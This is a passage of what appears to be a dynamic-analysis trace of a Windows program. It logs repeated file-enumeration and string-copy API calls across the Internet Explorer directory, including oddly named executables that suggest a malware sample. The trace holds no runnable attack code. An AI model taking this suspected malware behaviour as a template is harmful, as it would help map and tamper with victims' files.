(x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" [0040.138] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned 82 [0040.138] lstrcpyW (in: lpString1=0x12f980, lpString2="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" [0040.138] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.138] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0040.138] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0040.138] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.138] lstrlenW (lpString="en-US") returned 5 [0040.138] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US" [0040.138] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\" [0040.138] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0040.138] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*" [0040.138] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.138] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.138] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.138] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.138] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.138] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.138] lstrcmpW (lpString1="hmmapi.dll.mui", lpString2=".") returned 1 [0040.138] lstrcmpW (lpString1="hmmapi.dll.mui", lpString2="..") returned 1 [0040.138] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0040.138] lstrlenW (lpString="hmmapi.dll.mui") returned 14 [0040.138] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="hmmapi.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" [0040.138] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 61 [0040.138] lstrcpyW (in: lpString1=0x12fa30, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" [0040.138] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.139] lstrcmpW (lpString1="iedvtool.dll.mui", lpString2=".") returned 1 [0040.139] lstrcmpW (lpString1="iedvtool.dll.mui", lpString2="..") returned 1 [0040.139] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0040.139] lstrlenW (lpString="iedvtool.dll.mui") returned 16 [0040.139] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="iedvtool.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" [0040.139] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned 63 [0040.139] lstrcpyW (in: lpString1=0x12fab8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" [0040.139] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.139] lstrcmpW (lpString1="ieinstal.exe.mui", lpString2=".") returned 1 [0040.139] lstrcmpW (lpString1="ieinstal.exe.mui", lpString2="..") returned 1 [0040.139] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0040.139] lstrlenW (lpString="ieinstal.exe.mui") returned 16 [0040.139] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="ieinstal.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" [0040.139] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 63 [0040.139] lstrcpyW (in: lpString1=0x12fb40, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" [0040.139] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.139] lstrcmpW (lpString1="ielowutil.exe.mui", lpString2=".") returned 1 [0040.139] lstrcmpW (lpString1="ielowutil.exe.mui", lpString2="..") returned 1 [0040.139] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0040.139] lstrlenW (lpString="ielowutil.exe.mui") returned 17 [0040.139] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="ielowutil.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" [0040.139] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned 64 [0040.139] lstrcpyW (in: lpString1=0x12fbc8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" [0040.139] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.139] lstrcmpW (lpString1="iexplore.exe.mui", lpString2=".") returned 1 [0040.139] lstrcmpW (lpString1="iexplore.exe.mui", lpString2="..") returned 1 [0040.139] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0040.139] lstrlenW (lpString="iexplore.exe.mui") returned 16 [0040.139] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="iexplore.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" [0040.139] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned 63 [0040.139] lstrcpyW (in: lpString1=0x12fc58, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" [0040.139] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.139] lstrcmpW (lpString1="jsdbgui.dll.mui", lpString2=".") returned 1 [0040.139] lstrcmpW (lpString1="jsdbgui.dll.mui", lpString2="..") returned 1 [0040.139] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0040.139] lstrlenW (lpString="jsdbgui.dll.mui") returned 15 [0040.139] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsdbgui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" [0040.139] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned 62 [0040.139] lstrcpyW (in: lpString1=0x12fce0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdbgui.dll.mui" [0040.139] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.139] lstrcmpW (lpString1="jsdebuggeride.dll.mui", lpString2=".") returned 1 [0040.139] lstrcmpW (lpString1="jsdebuggeride.dll.mui", lpString2="..") returned 1 [0040.139] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0040.139] lstrlenW (lpString="jsdebuggeride.dll.mui") returned 21 [0040.139] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsdebuggeride.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" [0040.139] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned 68 [0040.139] lstrcpyW (in: lpString1=0x12fd68, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" [0040.139] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.139] lstrcmpW (lpString1="JSProfilerCore.dll.mui", lpString2=".") returned 1 [0040.140] lstrcmpW (lpString1="JSProfilerCore.dll.mui", lpString2="..") returned 1 [0040.140] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0040.140] lstrlenW (lpString="JSProfilerCore.dll.mui") returned 22 [0040.140] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="JSProfilerCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" [0040.140] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned 69 [0040.140] lstrcpyW (in: lpString1=0x12fe00, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" [0040.140] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.140] lstrcmpW (lpString1="jsprofilerui.dll.mui", lpString2=".") returned 1 [0040.140] lstrcmpW (lpString1="jsprofilerui.dll.mui", lpString2="..") returned 1 [0040.140] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0040.140] lstrlenW (lpString="jsprofilerui.dll.mui") returned 20 [0040.140] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="jsprofilerui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" [0040.140] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned 67 [0040.140] lstrcpyW (in: lpString1=0x12fe98, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" [0040.140] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.140] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.140] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.140] lstrcmpW (lpString1="ExtExport.exe", lpString2=".") returned 1 [0040.140] lstrcmpW (lpString1="ExtExport.exe", lpString2="..") returned 1 [0040.140] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.140] lstrlenW (lpString="ExtExport.exe") returned 13 [0040.140] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ExtExport.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" [0040.140] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned 54 [0040.140] lstrcpyW (in: lpString1=0x5e0420, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" [0040.140] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.140] lstrcmpW (lpString1="hmmapi.dll", lpString2=".") returned 1 [0040.140] lstrcmpW (lpString1="hmmapi.dll", lpString2="..") returned 1 [0040.140] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.140] lstrlenW (lpString="hmmapi.dll") returned 10 [0040.140] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="hmmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" [0040.140] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned 51 [0040.140] lstrcpyW (in: lpString1=0x12ff28, lpString2="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" [0040.140] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.140] lstrcmpW (lpString1="ie8props.propdesc", lpString2=".") returned 1 [0040.140] lstrcmpW (lpString1="ie8props.propdesc", lpString2="..") returned 1 [0040.140] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.140] lstrlenW (lpString="ie8props.propdesc") returned 17 [0040.140] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ie8props.propdesc" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" [0040.140] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned 58 [0040.140] lstrcpyW (in: lpString1=0x5e1048, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc") returned="c:\\Program Files (x86)\\Internet Explorer\\ie8props.propdesc" [0040.140] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.140] lstrcmpW (lpString1="iecompat.dll", lpString2=".") returned 1 [0040.140] lstrcmpW (lpString1="iecompat.dll", lpString2="..") returned 1 [0040.140] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.140] lstrlenW (lpString="iecompat.dll") returned 12 [0040.140] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iecompat.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" [0040.140] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned 53 [0040.140] lstrcpyW (in: lpString1=0x5e0498, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iecompat.dll" [0040.141] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.141] lstrcmpW (lpString1="iedvtool.dll", lpString2=".") returned 1 [0040.141] lstrcmpW (lpString1="iedvtool.dll", lpString2="..") returned 1 [0040.141] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.141] lstrlenW (lpString="iedvtool.dll") returned 12 [0040.141] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iedvtool.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" [0040.141] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned 53 [0040.141] lstrcpyW (in: lpString1=0x5e0510, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\iedvtool.dll" [0040.141] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.141] lstrcmpW (lpString1="ieinstal.exe", lpString2=".") returned 1 [0040.141] lstrcmpW (lpString1="ieinstal.exe", lpString2="..") returned 1 [0040.141] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.141] lstrlenW (lpString="ieinstal.exe") returned 12 [0040.141] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ieinstal.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" [0040.141] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned 53 [0040.141] lstrcpyW (in: lpString1=0x5e0588, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" [0040.141] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.141] lstrcmpW (lpString1="ielowutil.exe", lpString2=".") returned 1 [0040.141] lstrcmpW (lpString1="ielowutil.exe", lpString2="..") returned 1 [0040.141] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.141] lstrlenW (lpString="ielowutil.exe") returned 13 [0040.141] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ielowutil.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" [0040.141] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned 54 [0040.141] lstrcpyW (in: lpString1=0x5e0600, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" [0040.141] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.141] lstrcmpW (lpString1="ieproxy.dll", lpString2=".") returned 1 [0040.141] lstrcmpW (lpString1="ieproxy.dll", lpString2="..") returned 1 [0040.141] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.141] lstrlenW (lpString="ieproxy.dll") returned 11 [0040.141] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="ieproxy.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" [0040.141] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned 52 [0040.141] lstrcpyW (in: lpString1=0x5e0678, lpString2="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\ieproxy.dll" [0040.141] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.141] lstrcmpW (lpString1="IEShims.dll", lpString2=".") returned 1 [0040.141] lstrcmpW (lpString1="IEShims.dll", lpString2="..") returned 1 [0040.141] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.141] lstrlenW (lpString="IEShims.dll") returned 11 [0040.141] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="IEShims.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" [0040.141] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned 52 [0040.141] lstrcpyW (in: lpString1=0x5e06f0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" [0040.141] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.141] lstrcmpW (lpString1="iexplore.exe", lpString2=".") returned 1 [0040.141] lstrcmpW (lpString1="iexplore.exe", lpString2="..") returned 1 [0040.141] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.141] lstrlenW (lpString="iexplore.exe") returned 12 [0040.141] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="iexplore.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0040.141] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned 53 [0040.141] lstrcpyW (in: lpString1=0x5e0768, lpString2="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0040.141] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.141] lstrcmpW (lpString1="instrumentationendorsementcivilizationcommentary.exe", lpString2=".") returned 1 [0040.142] lstrcmpW (lpString1="instrumentationendorsementcivilizationcommentary.exe", lpString2="..") returned 1 [0040.142] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.142] lstrlenW (lpString="instrumentationendorsementcivilizationcommentary.exe") returned 52 [0040.142] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" [0040.142] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned 93 [0040.142] lstrcpyW (in: lpString1=0x5e10c8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" [0040.142] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.142] lstrcmpW (lpString1="jsdbgui.dll", lpString2=".") returned 1 [0040.142] lstrcmpW (lpString1="jsdbgui.dll", lpString2="..") returned 1 [0040.142] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.142] lstrlenW (lpString="jsdbgui.dll") returned 11 [0040.142] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsdbgui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" [0040.142] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned 52 [0040.142] lstrcpyW (in: lpString1=0x5e07e0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdbgui.dll" [0040.142] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.142] lstrcmpW (lpString1="jsdebuggeride.dll", lpString2=".") returned 1 [0040.142] lstrcmpW (lpString1="jsdebuggeride.dll", lpString2="..") returned 1 [0040.142] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.142] lstrlenW (lpString="jsdebuggeride.dll") returned 17 [0040.142] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsdebuggeride.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" [0040.142] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned 58 [0040.142] lstrcpyW (in: lpString1=0x5e1190, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsdebuggeride.dll" [0040.142] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.142] lstrcmpW (lpString1="JSProfilerCore.dll", lpString2=".") returned 1 [0040.142] lstrcmpW (lpString1="JSProfilerCore.dll", lpString2="..") returned 1 [0040.142] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.142] lstrlenW (lpString="JSProfilerCore.dll") returned 18 [0040.142] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="JSProfilerCore.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" [0040.142] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned 59 [0040.142] lstrcpyW (in: lpString1=0x5e1210, lpString2="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" [0040.142] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.142] lstrcmpW (lpString1="jsprofilerui.dll", lpString2=".") returned 1 [0040.142] lstrcmpW (lpString1="jsprofilerui.dll", lpString2="..") returned 1 [0040.142] lstrlenW 